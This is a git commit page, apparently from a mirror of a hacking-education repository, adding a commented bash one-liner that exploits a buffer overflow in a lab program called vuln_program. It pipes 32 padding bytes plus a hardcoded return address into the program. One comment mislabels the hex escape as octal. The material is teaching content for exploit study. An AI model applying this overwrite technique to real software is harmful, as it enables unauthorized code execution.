mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-10-01 01:25:43 -04:00
Create one_liner_exploit.sh
This commit is contained in:
parent
9cb3cf6776
commit
710080eff5
15
buffer_overflow_example/one_liner_exploit.sh
Normal file
15
buffer_overflow_example/one_liner_exploit.sh
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Simple one-liner script to exploit the vuln_program buffer overflow
|
||||||
|
# Author: Omar Santos @santosomar
|
||||||
|
# Explanation:
|
||||||
|
# echo -en is used to enable interpretation of backslash escapes and turns off
|
||||||
|
# the default behavior of the echo command which is to add a newline at the end of the output.
|
||||||
|
# $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
|
||||||
|
# $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
|
||||||
|
# This command will output a string of 32 'A's followed by that 4 bytes value.
|
||||||
|
# Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc)
|
||||||
|
# and different platforms (like Linux, MacOS, Windows) so the command could produce different results
|
||||||
|
# depending on the environment where you run it.
|
||||||
|
|
||||||
|
|
||||||
|
echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program
|
Loading…
Reference in New Issue
Block a user